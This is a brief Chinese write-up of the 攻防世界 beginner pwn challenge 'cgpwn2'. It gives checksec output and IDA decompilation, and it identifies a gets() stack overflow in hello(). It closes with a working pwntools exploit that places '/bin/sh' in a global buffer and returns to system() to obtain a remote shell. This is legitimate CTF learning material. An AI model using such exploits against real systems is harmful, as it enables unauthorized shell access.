『攻防世界』:新手区 | cgpwn2
checksec:
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
IDA:main
int __cdecl main(int argc, const char **argv, const char **envp) { setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); hello(); puts("thank you"); return 0; }
hello存在gets函数,存在栈溢出漏洞,可以先将‘/bin/sh’写到name里,然后有system和/bin/sh的地址,通过get函数
char *hello() { char *v0; // eax signed int v1; // ebx unsigned int v2; // ecx char *v3; // eax char s; // [esp+12h] [ebp-26h] int v6; // [esp+14h] [ebp-24h] v0 = &s; v1 = 30; if ( (unsigned int)&s & 2 ) { *(_WORD *)&s = 0; v0 = (char *)&v6; v1 = 28; } v2 = 0; do { *(_DWORD *)&v0[v2] = 0; v2 += 4; } while ( v2 < (v1 & 0xFFFFFFFC) ); v3 = &v0[v2]; if ( v1 & 2 ) { *(_WORD *)v3 = 0; v3 += 2; } if ( v1 & 1 ) *v3 = 0; puts("please tell me your name"); fgets(name, 50, stdin); puts("hello,you can leave some message here:"); return gets(&s); }
exp:
from pwn import * io = remote('',) io.sendlineafter('name','/bin/sh\x00') io.sendlineafter('here:','a'*42 + p32(0x08048420) + b'a'*4 + p32(0x0804A080)) io.interactive()
注:/bin/sh\x00是一个伪造的字符串表